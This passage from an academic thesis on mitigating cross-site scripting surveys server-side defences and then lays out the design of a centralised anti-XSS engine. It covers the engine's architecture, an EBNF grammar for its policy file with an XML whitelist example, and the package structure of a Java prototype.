This chapter examined and evaluated the most influential solutions for mitigating XSS
attacks. We began this chapter by describing two of the most important Web browser
security models, namely, SOP and Cookie Security Model. Unfortunately, as we
discussed, these models have been inappropriately extended to satisfy new business
requirements, making them ineffective towards protecting against XSS attacks.

Following that we gave an overview of XSS protection measures and created a
categorization based on the detection phase, time, location and reaction phase. This
categorization was used to classify and evaluate various academic and business world
anti-XSS products. Using the deployment location as the main classifier we categorized
numerous tools under server, client and hybrid approaches. Each of the categories was
further divided according to the utilized detection technique and analysis method.

Various XSS protection tools exist however evaluating the disparate tools
revealed common limitations. These limitations extend across the entire repertoire of
tools. It was then made evident that the protection approach that is more suitable for our
requirements of protecting the organisation is the server-based approach. This approach
does not carry the requirement of involving the user or his infrastructure in the protection
scheme, and due to its nature it cannot be bypassed (easily) by malicious users.

As a summary, the table below, Table 3-5, summarizes the server-side class
evaluated in this chapter. In this table, the different data in the columns are associated
with the parent class (Secure Coding, Security Assessment Strategies, WAF/IDS) and
not with specific system instances. In reality, each developed system while deriving the
different properties from its belonging class it may alter them.
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Class

System

Detection

P Pros/Cons

Reaction

Time

Secure
Coding

API –
htmLawed,
Kses;

Varies, but
typically
grammarbased
violation
technique

+ Provide
prevention,
detection and
reaction

Encoding
Stripping

Development
and
Operational
Time

Reports

Development
Time

Logging
Blocking

Operational
Time

Libraries –
AntiSamy,
Anti-XSS;
AOP –
AProSec;

Security
Assess.
Strats.

Filters –
S.
Jayamsakthi,
M.
Ponnavaikko
WebSSARI
Pixy

Information
flow
analysis
with static/
dynamic
analysis

.
WAF and
IDS

Scott
Sharp

&

AppScan

Signaturebased with
dynamic
analysis

+ Can be
adapted/fine-tuned
to meet the
organisation’s
specific needs
- Developers need to
be trained or
accustomed to
write/use secure
code/libraries
+ Detect previously
unknown
vulnerabilities
- High values of false
positives
- Language-specific
+ Provide immediate
assurance
- Blacklist filters can
be evaded

ModSecurity
PHPIDS
Table 3-5 – Server-Side Mitigations Summary

Chapter 4
Proposed Solution
In the previous chapter we conducted a survey of existing methods and tools for
mitigating XSS attacks. We discussed these methods along the dimensions of detection,
time, location and reaction, and we categorized and evaluated tools ranging from
academic/research tools to leading industry products.

Irrespective of the adopted approach, current defense strategies are all affected
to different extents by false positives and false negatives, and are subject to varying
ratios of ease of use and ease of implementation. In this chapter we will begin by
defining the problem with most of the existing tools and then move on to describe in
detail the design of a solution for mitigating XSS attacks on a server.

4.1 Introduction
The existing mitigations to the problem of XSS include tools that can be deployed on the
end-user infrastructure, on the enterprise infrastructure and on a combination of the two
implying that part of the solution is installed on the end-user infrastructure and another
part on the enterprise infrastructure. We referred to these in Chapter 3 as client-side
approaches, server-side approaches and hybrid approaches, respectively.

The main disadvantage of client-side and the hybrid mitigations is the
requirement to install a component on the end-user’s infrastructure. This could be in the
form of client-side application (e.g. NoScript), client-side proxy (e.g. Noxes) or a
technology natively installed in the Web browser (e.g. Gecko-based browser natively
supports CSP technology). As discussed in Section 3.2.3 while the client’s anti-XSS
tools have the advantage of offering protection to Websites that do not have proper
security controls in place all these tools share a number of problems and challenges
including:
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End-user Involvement – The end-user must be involved directly in the
protection scheme as he has to download and install the additional anti-XSS
component or to configure his machine to connect with the client-proxy.
Sometimes, this option may also involve having the user upgrade his Web
browser. Besides this, the end-user must often be kept in the loop to keep the
browser and its plug-ins updated. This is necessary to mitigate against new
attack vectors. Typically, some industries when faced with such problems employ
an agent-based software solution that pushes out automatic updates to clients.
However, there is still the prerequisite of having the agent installed on each enuser machine (as was discussed in detail in Section 3.2.3). This is feasible for an
industry where the environment is controlled however this is not viable for an
uncontrolled environment, such as the Internet. Related to this point is the fact
that for the protection to be effective the end-user must always access the
networked world via the anti-XSS tool. In reality there is nothing to stop the user
from switching to an alternative browser or using a different machine. Also,
another important point related to end-user involvement is that sometimes the
end-user has to actively participate in interpreting the tool’s output, to train the
tool and sometimes to even to select an appropriate reaction.



Compromised Infrastructure Components – The typical Internet user does not
invest much in security and when he invests it is usually in an antivirus package
and maybe in a personal firewall. XSS is still a new term to most users, including
some of the most experienced IT professionals. As is the case with antivirus and
firewall software, an anti-XSS tool might give the user a pretentious and false
sense of security. This is mainly because the end-user machine might be
compromised by malicious software (malware) including viruses, Trojan,
keyloggers and other infectious software. A case in point occurred in 2009 when
the Gumblar worm [100] infected users via unpatched Adobe PDF and Flayer
Player vulnerabilities. Similarly, a motivated attacker could for instance exploit a
dormant vulnerability in an anti-XSS tool or in a browser API to expose a back
door that relaxes the browser’s SOP (discussed in detail in Section 3.1.1) or
perhaps to subvert the client anti-XSS proxy. Interestingly, this can also happen
unintentionally by software developers. This happened in Firefox browser where
NoScript plug-in modified the behaviour of another plug-in (Adblock Plus) [101]
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so that some advertisements would not be blocked. Thereby, in general this
implies that any client-side anti-XSS protection mechanism can be possibly
bypassed.


Low Accuracy Rate – Accuracy of detection techniques can be measured by
False Positive Rate (FPR) and False Negative Rate (FNR). FPR occurs when a
detection technique triggers an alarm for a detected vulnerability when in reality
the vulnerability does not exist. On the hand, FNR occurs when a detection
technique fails to detect the type of vulnerabilities that it was meant to detect.
Since most of the client-side tools tend to be generic enough to possibly detect
XSS on any browsed site they tend to be less accurate when compared to
server-based approaches which are targeted towards protecting specific
organisation Websites. The vast majority of client-side XSS detection tools, for
instance the IE8 XSS Filter (discussed in Section 3.3.2.2), employs blacklists to
recognize malicious attack strings. The list cannot be exhaustive and therefore
the filter is likely to have a non-negligible FNR as XSS attack patterns
continuously evolve. In comparison some filters are aggressive and generic
enough to even reject genuine input (FPR). The outcome of continuous false
positives is one of the main reasons why end-users tend to disable or remove
such protection tools. It is also worth mentioning that, because the code for
client-side tools is often available (sometimes even by reverse-engineering)
hackers can identify particular implementation flaws in the code, exploit them,
and thereby lower the overall accuracy of the tool.

The server-based approach to XSS overcomes the first limitation by avoiding the
requirement of end-user participation. The other limitations are mitigated by shifting the
responsibility from the end-user to the enterprise. The typical enterprise infrastructure
tends to have more specialized resources and security processes, procedures and
technical components in place to proactively deal with the prevention of malware. Also,
the anti-XSS tool tends to be customized and tuned by specialized resources to cater for
the specific business requirements and therefore they tend to be more precise than
client-based tools.
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However, server-based solutions have their own limitations. Analyzing in detail
the existing server-side solutions revealed a number of these which are common to most
of the solutions proposed by researchers. The five main limitations are discussed below.
Our research indicates that, at the moment, there is no tool which single-handedly
addresses all these restrictions.
1. The Web developer must know every entry point in the Web application to
implement the security mechanism.
This was very evident in the Scott and Sharp system which we discussed in
Section 3.3.1.3, but it is also common to most of the existing secure coding
APIs which require the developer to modify the code to call the safe API
functions for each and every entry/exit point.
2. Upon discovering a new threat the solution needs to be introduced into
all existing Web sites.
This is very common when using the Secure Coding Techniques especially
when using an API, library and the filter based approach. Typically, with such
approaches every enterprise Web site needs to be recompiled in order to have
the protection. This was discussed in Section 3.3.1.1.
3. Each time a page is created the security mechanisms need to be
incorporated at page level complicating application maintenance.
This is common when using the Secure Coding Techniques especially when
using the library or the API approach to bolster a Web site. Depending on the
nature of the application and the language in use, developers are very often
required to amend the code at Web page/resource level to trigger the
protection mechanism. This was discussed in Section 3.3.1.1.
4. Boilerplate reaction phase.
After the input is classified as malicious most of the tools in the category of
WAF and IDS will perform a standard action. Typically, this action is blocking
and/or logging the malicious request. This approach to XSS was discussed in
Section 3.3.1.3.
5. Tendency to experience high false positive rates preventing genuine
users from submitting their input.
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A high number of false positives is very evident in Security Assessment
Strategies discussed in 3.3.1.2, but this value tends to be much lower in the
Secure Coding Techniques category. However, unless the Secure Coding
Techniques are adapted to the target organisation the false positive rate does
not exclude this category as well.

The above disadvantages make all the researched server-side tools not quite
practical and well-suited for the industry. This is especially true for an atypical
organisation having specific requirements, unless the target business is willing to accept
the above limitations. The goal of the following sections in this chapter is that of
presenting the design of an extensible anti-XSS tool, a framework, which addresses all
the above problems. The overall goal is to accurately, and in real-time, protect the
enterprise Web applications against the threat of XSS attacks.

4.2 Design Principles
In the previous section, when discussing the existing server-side mitigations we have
identified five limitations. The first four limitations are related to the requirement of ease
of use (as additional operational complexity is required in using the tool) and the last
limitation is related to the requirement of accuracy.

By analyzing the first three ease of use related limitations we note that lying at
the core of these limitations is the requirement for developers to update multiple points,
where a point being a page, Web site, function or any another application entry point.
Side effects of this distributed almost ad-hoc approach to security are implementation
inconsistencies, extra development efforts and increase in future maintenance costs.
Moving to the last ease of use related limitation is the boilerplate reaction phase.
Fundamentally, this limitation is caused by the rigidity imposed by off-the-shelf systems
which tend to adopt a one-fit-all approach to security protection, including in this case
that of reacting to XSS attacks.

Looking into the last limitation, which is related to the requirement of accuracy, is
the problem of high FPR values. This problem is related to the analysis method and
detection techniques adopted by the protection tool. In most of the cases popular
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products, such as ModSecurity and PHPIDS, adopt a blacklist (negative security model)
approach to XSS attacks. This approach is very effective when all the combinations are
known in advance however adopting this approach as the primary (and sometimes the
only) defense mechanism is weak for protecting against the plethora of every growing
XSS attack patterns.

Put together this analysis brings us to four fundamental design principles. These
principles are shown below:


Centralized Design – The engine should be the single choke point that every
Web resource in an application adheres to. This principle will address the first
three limitations.



Hybrid Security Model – The anti-XSS engine should be driven by the positive
security model (grammar-based violation detection technique) however additional
models/stages, for instance a blacklist, could be stacked on top of the positive
model. This principle will cater for the fifth limitation.



Rule-Based Approach – The engine should be easily modified to cater for the
addition of new XSS attacks without requiring the recompilation of the enterprise
Web sites. Together with the principle of “Centralized Design”, this principle will
help in addressing the second limitation.



Action-Based Approach – Developers should be able to specify actions, such
as logging, encoding or redirection, to be taken on a per application parameter
violation basis. This principle will cater for the fourth limitation.

In addition to the list above we add three more principles intended to make the
proposed solution future-proof and robust against human errors. The first two of these
principles are taken from Howard and LeBlanc's book "Writing Secure Code" [27]. The
three principles are discussed below:


Secure-By-Default – The engine default configuration settings should be the
most secure settings possible. Developers would then need to explicitly open up
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the engine to cater for their requirements. This principle would also help in
overcoming the first limitation.


Defense-In-Depth – Defense-in-depth is a philosophy promoting a layered
security approach so if any single protective measure fails other defensive
measures are put in place to ensure nothing is compromised. This principle
would contribute to lower false negatives.



Simplistic API – Developers should only have a minimal level of securityawareness to use the system. This principle will allow for detecting vulnerabilities
both during coding time and also during operation time.

Using the dimensions we discussed in Section 3.2 and the principles discussed
above, our approach to XSS protection can be profiled as shown in the following table,
Table 4-1. To our knowledge, this approach to XSS is unique and no system has been
implemented so far that tackles this complex problem in this way.

Dimension
Detection

Location
Time
Reaction

Description
Secure coding primarily driven by the grammar-based violation
technique but can be extended and combined with additional
techniques such as encoding, blacklisting, scrubbing, and more.
Server-side application
XSS vulnerabilities can be detected both during coding time and also
during application usage (operational time).
Developer-defined action
Table 4-1 – Proposed Solution Dimensions

Having an anti-XSS mechanism built on the above principles will consistently
protect the enterprise applications from XSS attacks without requiring the developers to
become experts on the topic of security. With the proper implementation and with the
appropriate procedures in place even large Web applications should not fall victim to this
class of vulnerability.
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4.3 Architecture
The proposed solution combines ideas and techniques from secure coding, software
engineering and concepts from firewall theory to build a reliable, flexible and simple-touse Anti-XSS engine on a Web server. Essentially, the engine implements XSS
protection by utilizing all the design principles we discussed in the previous section. All
together these principles are embodied in the Anti-XSS engine.
The Anti-XSS engine is made up of two main parts. The first part is the XSSDProxy that intercepts HTTP requests and responses. This is described in detail in
Section 4.3.1. The second part is the core of the engine and this consists of three
modules – Validation-Manager, Rule-Engine and Knowledge-Base. The high-level
architecture of the Anti-XSS engine is shown in the figure below, Figure 4-1:

Internet/Intranet/Extranet
Web Server

Request

Response

HTTP Client

HTTP-Hook

XSSD-Proxy

Errors/
Response

Validate

Use

Anti-XSS Engine

Validation-Manager

Rule-Engine

Consult

Knowledge-Base

Figure 4-1 – Proposed Solution Architecture
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Essentially, the Validation-Manager is the module that makes all the decisions
with the given input data and the logic of such decisions is driven by, and is implemented
by the Rule-Engine. The logical workflow is externalized in the Knowledge-Base. The
Knowledge-Base is created by the developer or business analyst and fundamentally it is
the ‘brain’ of the application. The Anti-XSS core modules are described starting from
Section 4.3.2 till Section 4.3.4.

Translating Figure 4-1 into a logical workflow we come up with the following highlevel usage scenario:

1.

A user submits a request via any HTTP Client (such as the Web browser) to
an Anti-XSS protected server.

2.

The XSSD-Proxy captures the request details and it forwards them to the
Validation-Manager for analysis.

.
3.

The Validation-Manager grabs all the sources of untrusted data as
discussed in Table 2-2 of Section 2.4 from the request and validates them
against the Knowledge-Base via the Rule-Engine interface.

4.

Depending on the rules associated with the input parameters the
Validation-Manager might decide to drop the request, log the request,
encode the tainted data or execute any other developer defined action.

4.3.1 XSSD-Proxy
XSSD-Proxy is the HTTP request/response interceptor (a Web server hook). Each time
a request to a page is made this component is automatically triggered to validate the
HTTP request for XSS attacks before it is actually passed to the core of the application
(as discussed in Section 2.3). The actual validation is carried out by the ValidationManager component discussed in Section 4.3.2.

This component ensures that every application module adheres to the security
policy of the application. In stark contrast to a distributed implementation where
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developers have to update multiple points, by being the central validation point, the
XSSD-Proxy, ensures consistency and it helps to reduce development effort and to ease
future maintenance costs.

There are various techniques that can be used to implement the choke point and
the advantages and disadvantages of the main strategies are described in the table
below, Table 4-2.
Technique
Filters

Description
JEE Filter (aka the Interceptor Filter) is a technique used in the
Java Platform that provides the ability to intercept and to modify an
HTTP request and its associated response. There is also its
counterpart technology for the .NET framework called
HTTPModule.
While this approach is the de facto standard to perform ‘hooking’
functionality the disadvantage is that each Web application needs to
be modified and recompiled to benefit from this technique. This can
be a source of error and is unlikely to be carried out on live
applications or on third-party closed-source applications.

Modules

This approach is used in the system proposed by S. Jayamsakthi
and M. Ponnavaikko [102] which we discussed in Chapter 3.
Web server specific technologies such as the creation of an Apache
Dynamic Shared Object (DSO) Web server module or the creation
of an ISAPI Module for the Microsoft IIS server allow for HTTP
request validation before the actual Web page/site processing.
From a security standpoint the problem with this approach is that
the custom module code must execute with the permissions of the
Web server process, and if crashes or memory leaks occur (which
is possible even because most of the modules are written in C or
C++) it is likely to bring down the entire Web server [103].

AOP

This approach is used by ModSecurity Web application firewall
[104] which we discussed in Chapter 3.
Through the use of the AOP paradigm a server aspect (a module
representing a cross-cutting concern) can be implemented and
through it and without doing any modifications to the target Web
application source code the required intercepting functionality can
be implemented in a modular and in a reusable fashion.
The other big advantage of AOP is that, through what is known as
load-time weaving, all the applications running on the target Web
server would be automatically hooked to the AOP server aspect.
However, the disadvantage with the AOP approach to hooking is
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that for each Web language a separate server aspect must be
developed. However, if due care is taken creating the required
server aspect should be straightforward.
This approach is used by AProSec [70] which we discussed in
Chapter 3.
Table 4-2 – Choke Point Techniques

4.3.2 Validation-Manager
Validation-Manager is the main component of the Anti-XSS engine. Essentially, this is
the server-side API that addresses the “Simplistic API” requirement. This component
reduces the concerns that developers have to face to secure applications against the
threat of XSS by implementing a method that does all the validation work in one call.
This method which we shall call validate(..) drives the analysis of the HTTP
request headers and the message body for XSS attacks. When called, the HTTP request
is examined for potentially malicious XSS strings. The high-level flow of this method is
depicted below, Figure 4-2:
Request

Is Request-URI
Excluded?

NO

Are Header Fields
Valid?

NO

YES
YES

Are Parameters
Valid?

Execute Action

NO

YES

Web Application

Figure 4-2 – Validation-Manager Workflow
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The above diagram can be explained textually as follows:
1.

When a requested URI is considered ‘safe’ the control is immediately
returned to the application. The idea of excluded URIs is dealt with in
Section 4.3.4.1 when discussing the Exclude-Set tag.

2.

If the requested URI is not explicitly declared as excluded the system will
scan the header and the parameter request fields for XSS. A typical header
field that might carry an XSS payload is the Referer field, and malicious
parameters might include even hidden and disabled fields as discussed in
Chapter 2, Table 2-2.

3.

Execute an action when the input field/parameter is considered malicious.
Validating the input request is left to the rule engine. This is discussed in
the following section, Section 4.3.3.

4.3.3 Rule-Engine
The effectiveness of off-the-shelf WAF and IDS products is normally limited by the fact
that each Web application is different and thus the rules employed are inevitably generic
to some extent. Having a common rule-base and then tuning each rule to meet the
application's actual logic would result in a system that is much less prone to false
positives than any off-the-shelf solution.

The underlying idea of the Rule-Engine component is that of interpreting the
application business or application logic. Technically, this component can be viewed as
a sophisticated interpreter of if-then statements. Each of these statements is called a
rule, and a rule is essentially composed of two parts – a condition and an action. When
the condition is met the associated action is executed.

In our system, input strings are analyzed when instructed by the ValidationManager component as shown in the following diagram, Figure 4-3. This diagram is an
explosion of Figure 4-2 describing more in detail how the detection is takes place.
Essentially, the figure below is called in to implement the “Are Header Fields Valid?” and
“Are Parameter Fields Valid?” conditions of Figure 4-2.
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Read Input

Does a Specific Rule
Exist for the Input?

NO
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Does a Generic Rule
Exist for the Input?

NO
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YES
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Update Violation-List

NO

= fatal
= ignore
Execute Action
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Figure 4-3 – Rule-Engine Workflow
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As can be seen in the above figure the Rule-Engine uses the concepts of rule
types, severity, violations and actions which we discuss below:


Rules Types – The engine recognizes three types of rules – specific, generic
and default. Given an input the engine tries to first match the given input against
the most specific rule, and if that is not found it tries to match it against a generic
rule. Finally, if there is not any match for the generic rule the default rule is
applied. By their nature default rules contribute through providing a secure-bydefault configuration. The generic and specific rules allow us to differentiate
between variables changing their context and their set of allowed data.



Severity – Each rule has assigned to it a severity level indicating how to treat
each violation. The engine supports three different severity levels – ignore,
resume or fatal. Rules marked as ignore are simply ignored when the HTTP
request part is malformed and control is immediately returned to the Web
application. Then, for rules marked as resume, without stopping the processing,
the engine appends the rule violations to a list, which we call the Violation-List.
Finally, a fatal severity level represents a possible attack and when such a
violation occurs the request is halted and an exception is thrown.



Violation – A violation is created each time an input field/parameter is
encountered that does not adhere to the Anti-XSS policy as is defined in the
Knowledge-Base. The Violation-List contains a list of such violations encountered
during the processing of the input.



Action – The engine provides a number of built-in actions that enable the
developer to handle each parameter/field violation in a different way. Some of the
actions, such as logging, encoding and aborting the requests are standard.
However, any developer can write a custom action to fit his business
requirements. Having the actions carried out on a per violation basis would help
the developer focus on the functionality of the system rather that its security. The
resulting main benefit would be a system that is a business enabler.
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Turning to the implementation of rules there exist a number of possible ways for
specifying application rules and the main approaches are discussed in the table below,
Table 4-3:

Technique
Parser

XML Grammar
Checker

Regular Expressions

Description
The parser approach involves manually parsing and
checking the input for specific characteristics. Typically, this
involves the creation of an iterative parser which requires a
lot of custom coding and thus it is usually difficult to do it
consistently.
In the XML world a DTD or an XML schema is typically used
to define validation rules. A similar approach can be adopted
for XHTML pages but there is a performance overhead
involved in parsing and validating rules in this way.
Furthermore, the use of this approach is limited to only
XHTML and excludes unstructured/semi-structured pages
such as HTML which occupy the vast majority of the Web.
Regular expressions (aka regexps or regexes) are patterns
used for concisely describing data. Typically, they are used
for matching/searching strings of text. The patterns can be
hard to read and write, however if they are constructed
properly they provide a compact and effective solution to
validation. Building regular expressions might not be easy to
do but there are tools that allow visualization of the FiniteState Machine (FSM) represented by the regular
expressions.
Table 4-3 – Representing Rules

4.3.4 Knowledge-Base
The knowledge-base (policy file) drives the workings of the engine by specifying what is
allowed, how to validate incoming data, and what to do in the case of tainted input data.
Satisfying these specifications is a grammar that ties together the concepts of
validations, rules and actions. The instantiation of this grammar externalizes the
business or application rules allowing a developer to specify per field/parameter level
what to do in case the received input is classified as malformed (i.e. malicious) for a
given application (URI).

The simplest possible model consists of one rule and one validation. This provides
for security-by-default, as the default rule is triggered for each input field/parameter. An
abridged version of this model is shown below. In this model, the validation is tagged
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with the name SafeStr, and the rule is tagged with the name ANTIXSS_DEF. Using the
description found below all the input strings to the target Web application are classified
as malformed if they fail in satisfying the regular expression ^[a-zA-Z0-9\s.\-]+$.
Thus, when a string is encountered having non-alphanumeric characters the request is
passed through (severity = resume) but before doing so it is HTML encoded
(actions.Encode).
<antixss-policy>
…
<regexps>
<regexp>
<name>SafeStr</name>
<pattern>^[a-zA-Z0-9\s.\-]+$</pattern>
</regexp>
</regexps>

Validation
Repository

<ruleset>
<name>ANTIXSS_DEF</name>
<uri>ANTIXSS_DEF</uri>
<rule>
<name>ANTIXSS_ALL</name>
<regexp>SafeStr</regexp>
<severity>resume</severity>
<action cls="actions.Encode" />
</rule>
</ruleset>
…
<antixss-policy>

Rule
Repository

The model is primarily a positive security model (grammar-based model). However,
it can feature additional stages (n-stages) triggered after the input is passed through and
validated by the whitelist. This flexibility allows for the provision of security-in-depth. This
principle allows a developer to bind multiple actions with each input, where an action
could be anything such as encoding, scrubbing, rescanning the input against a blacklist
and more. The diagram below, Figure 4-4, illustrates how input is passed and possibly
transformed as it is carried through each security layer in sequence.
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Blacklist

Encode

Input
Application

∆
Figure 4-4 – Defense-in-depth

The positive security model allows us to implement application specific settings
such as accepting special tags or particular characters in specific fields. This could for
instance allow an application to accept names with an apostrophe (e.g. O’Malley) and
names with hyphens (e.g. Anne-Marie). However, relying on this model alone might
open the door to XSS attacks. This is where the additional layers such as the encoding
or the blacklist come into action to reduce the amount of false negatives.

4.3.4.1 Grammar
In this section we will formally define and explain the security model. Understanding the
structure of this model is especially important to understand how the prototype
development is carried out and also to recognize the power and flexibility the
implementation of such a grammar would provide to any application.

To formally specify the policy file Extended Backus-Naur Form (EBNF) is used.
Essentially, EBNF is used to define the grammar of programming languages by using a
set of rules, known as production rules, to define the patterns or sequences of symbols
allowed in the language. The anti-XSS policy file is defined as follows:
<antixss-policy> ::= <directives>
[<exclude-set>]
<regexps>
[<cookie>]
<rules>
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<directives>

::= <canonicalize> |
[<http-only>]
|
[<encode-out>] |
[<charset-rsp>]

#Directives
<canonicalize>
<http-only>
<encode-out>
<charset-rsp>

::=
::=
::=
::=

#Exclude-Set
<exclude-set>

::= <URI>+

true | false
true | false
true | false
UTF-8

#Validation Repository
<regexps>
::= <regexp>+
#Cookies
<cookie>
<regexp>

::= <name> <regexp> <malformed>
::= <name> <pattern> <description>

#Rule Repository
<rules>
::=
<rule-def>
::=
<rule>
::=
<rule-proc-def>
<rule-proc>
<malformed>
<severity>
<action>
<cls>
<param>
<enc-params>
<name-enc>
<value-enc>

<rule-def> <rule>*
<name-def> <uri-def> <rule-proc-def>
<name> URI <rule-proc>+
::= <rule-name-def> <regexp> <malformed>
::= <name> <regexp> <malformed>
::=
::=
::=
::=

::=
::=
::=
::=

<severity> <action>*
FATAL | RESUME | IGNORE
<cls><param>*
ENCODE [<enc-params>] |
custom-action
<name><value>
<name-enc><value-enc>
CONTEXT
HTML |
HTML-Attr |
CSS |
URL |
JavaScript |
VBScript
|
Auto

<name>
<pattern>

::= [a-zA-Z][0-9]
::= Any regular expression supported by the
chosen language of implementation
<description>
::= [a-zA-Z][0-9][ \t\v]
<uri-def>
::= ANTIXSS_DEF
<name-def>
::= ANTIXSS_DEF
<rule-name-def> ::= ANTIXSS_ALL

From the grammar above one can note that the language is divided into five main
sections: directives, validation repository, rule repository, exclude-set, and cookies. The
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first three sections are mandatory and the rest are optional. Each section is explained
below:


Directives – Directives define system-wide commands to the engine. These
commands affect the functioning of the actions and how the whitelist is
interpreted. The engine supports four directives – canonicalize, http-only,
encode-out and charset-rsp. The first directive is mandatory while the last three
are optional but recommended to mitigate against XSS attacks coming from
distributed platforms and also for Unicode transcoding injection attacks [105,
106]. These directives are summarized below:


canonicalize – This command transforms the data into a “standard”
representation before running the actual validation. Canonicalization
prevents the bypassing of whitelists with encoded attacks. These types of
attacks were discussed in Table 3-3.



http-only – When set to true the system would tag the cookies as
HttpOnly cookies and thereby preventing against some of the common
XSS attacks. This attribute was discussed in Section 3.1.2.



encode-out – When this option is true the server output will be also
output encoded. This option will defend against XSS attacks coming in
from non Web input channels, for example when the system is reading
data from an external file server. Output encoding was introduced in
Section 3.3.1.1.



charset-rsp – This option would set the output character set to UTF-8.
Setting the output character set is an important defensive measure
against XSS attacks. This restricts valid data to Web pages preventing
malicious users from using canonicalization and/or multi-byte escape
sequences to trick validation routines [107]. These types of attacks were
introduced in Table 3-3.
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Validation Repository – This section contains all the regular expressions
available to the Anti-XSS engine. Each regular expression is given a unique
name, a description and the actual pattern. The name serves as the unique
identifier of the expression. At the bare minimum there should be one regular
expression. This is the default regular expression.



Exclude-Set – This defines pages or paths to exclude from scanning for XSS.
The engine will skip all the resources contained in this section. Security is about
tradeoffs and while recognizing that scanning every item provides the most
security, the author recognizes that such section should be introduced mainly for
performance reasons. This section does not need to be declared and thus it is
treated by the engine as optional.



Rule Repository – This describes rules connected with a particular URI.
Essentially, this section is made up of a default rule subsection and possibly
multiple specific rule subsections. Each subsection consists of a name, uri and
rule definition. The name is the rule identifier, and the uri is a regular expression
defining the path to resources that the rule should be applied to. Then, the rule
definition identifies the input field/parameter to scan, the regular expression name
as defined in the Validation Repository, and the actions to follow if a regular
expression is violated.

To differentiate between the three types of rules the uri tag is used. For instance
assuming we have as uri the regular expression /bookstore/controller/*
then this will be considered by the engine to be more specific to both
/bookstore/* and to the default rule uri ANTIXSS_DEF. Therefore, by Figure
4-3 assuming there is a page in controller folder under the parent
bookstore which is being requested then only this rule will be executed as it is
the most specific.


Cookies – This section contains definitions for all of the cookies for which a rule
is assigned. Each cookie specified under this section is composed of a name (a
unique identifier), a regular expression name, the URI in which it is created and a
severity subsection. As is the case for the Rule Repository the regular expression
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name refers to an expression found in the Validation Repository. Similarly to the
rule definition the severity subsection details the severity and actions to follow if
the rules associated with cookies are violated. The cookies section is optional as
not all websites make use of cookies.

4.4 Summary
This chapter detailed our solution to mitigate XSS attacks. We began this chapter by
highlighting problems present in most of the existing anti-XSS systems. These ranged
from limitations related to the requirement of ease of use to accuracy.

Then, we analyzed these limitations and proposed a set of seven principles to
overcome them. These principles were embodied in the architecture of the anti-XSS
framework. The design consisted of four modules, the core module being the
Knowledge-Base, which represents the organisation’s anti-XSS policy.

Following the description of the system architecture, a detailed description of
each module was given. Design flowcharts, usage scenarios and different techniques
that can be used to implement the framework were explained. Finally, the anti-XSS
policy was specified formally through EBNF and each section was described in detail.

Chapter 5
Implementation and Evaluation
In the previous chapter we discussed and examined in detail the architectural design
required to create a practical anti-XSS framework. This framework can be deployed
seamlessly in an organisation without requiring any modifications to existing code.

In this chapter we will look at how a working version of the framework was
implemented with Java technology. We also discuss how such a framework was tested
against an XSS vulnerable Web site implemented mainly using JSP technology.

5.1 Introduction
As we saw in Chapter 4, the design of the framework consists of four components –
XSSD-Proxy, Validation-Manager, Rule-Engine and Knowledge-Base. The table below,
Table 5-1, summarizes each component.
Component
XSSD-Proxy
Validation-Manager
Rule-Engine
Knowledge-Base

Description
Web server HTTP hook that intercepts HTTP requests and
responses
Drives the XSS validation
Interprets the application rules as defined
Knowledge-Base component
Externalizes the organisation anti-XSS policy

by

the

Table 5-1 – Anti-XSS Framework Components

In the following sections we will begin by describing the application structure and
packages, then we move on to describe the main application classes. Finally, we
conclude this chapter by illustrating and evaluating the experiment conducted with the
implemented prototype.

5. Implementation and Evaluation

99

5.2 Application Structure
As is the case with the typical industrial Java development projects the developed antiXSS project is organized into five folders – src, test, lib, conf and dist. The purpose of
each folder is described below:


src – This folder contains all the code files created to implement the anti-XSS
framework components. Some of the classes found in src reference
classes/libraries found in lib folder. Also, the src folder contains a subfolder,
META-INF, that contains the file AOP.xml. This file is used for Load-Time
Weaving (LTW) as described in Section 5.4.1.



test – This directory contains the unit tests executed during the coding and
testing phase of the project. Depending on the development methodology but
typically when using Test-Driven Development (TDD) each class in src
should have a unit test bound with it. In this project JUnit was used to test the
core classes.



lib – This contains the third-party libraries that are being referenced from the
application source code. In this version of the prototype the external libraries
AspectJ, Log4j and ESAPI were used. These open source libraries were
used to implement the HTTPInterceptor (described in Section 5.4.1), for
logging information to a file (this was especially useful for evaluating the
framework as shown in Section 5.5.4) and for canonicalization and encoding
(described in Section 5.4.3), respectively.



conf – This folder contains the application configuration files. In our case,
there are three such files – antixss.properties, antixss.log4j.properties and
antixss-policy.xml. The first file is the master file that contains the application
version number together with the location of the two other files. In turn, the
second file is required by Log4j and it details information regarding the how,
where and what to log. Finally, antixss-policy.xml is the actual KnowledgeBase instance.
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dist – This folder contains the compiled application. In our case it houses the
file, antixss-1.0.0.jar, which is the actual release of the anti-XSS tool. This file
is the byproduct of compiling all the application classes found in src folder. In
our prototype the actual compilation to Java Archive (JAR) was done through
Eclipse IDE Export utility. The appendix 1.0.0 indicates that the file
represents the first release of the tool.

5.3 Application Packages
The purpose of this section is to look into how the application classes are logically
organized into different packages depending on their nature and scope. All the
application packages are described in the table below, Table 5-2:

Package
Main

Actions

HTTP

Rules

Description
The package Main (edu.rhu.antixss) contains key classes that are being
referenced from across the whole system. This includes classes ranging
from application configuration related to a custom application exception
class that is used to identify exceptions thrown by the anti-XSS tool.
This package also houses the implementation of the first two parts of our
framework – XSSD-Proxy and Validation-Manager. In terms of
implementation these are described in Section 5.4.1 and Section 5.4.2,
respectively.
This contains the implementation of the rule actions. Except for the
abstract class, Action, classes found in this package can be called
directly from the policy file by using the class attribute of the action tag.
In the current release, this package supports only one action, Encode,
which encodes strings to any given context as supported by the full antiXSS grammar (described in Section 4.3.4.1). In terms of implementation
the class Encode is described in Section 5.4.3.
Classes found in this package interface with the HTTP request and
response. These classes extend the default Java HTTP handlers
allowing for request/response modification. Modification decisions are
orchestrated by the Validation-Manager.
The Rules package implements the Rule-Engine framework component.
The main class of this package is AntiXSSPolicy. This class
encapsulates the Knowledge-Base by providing methods that facilitate
the reading of the policy Directives, Validation Repository, Exclude-Set
and the Rule-Repository. The rule sections were described in Section
4.3.4.1.
The only policy section which is not supported in the current release is
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the Cookies section.
Violation

Util

This package contains the classes Violation and ViolationList that detail
the XSS violations occurring during the course of the application usage.
The concept of violations was introduced in Section 4.3.3.
This package contains generic utilities typically used to support the
implementation of actions.
Currently, this package contains the class AutoEncoder that is used to
support the class Encode. The implementation of Encode action is
described in Section 5.4.3.
Table 5-2 – Anti-XSS Framework Packages

The diagram below, Figure 5-1, illustrates the six different packages and the
relationships between them from a high-level perspective. As could be noted from the
diagram, the package (this) is the Main package and the package fully qualified name is
edu.rhu.antixss. All other packages are sub-packages of the latter.

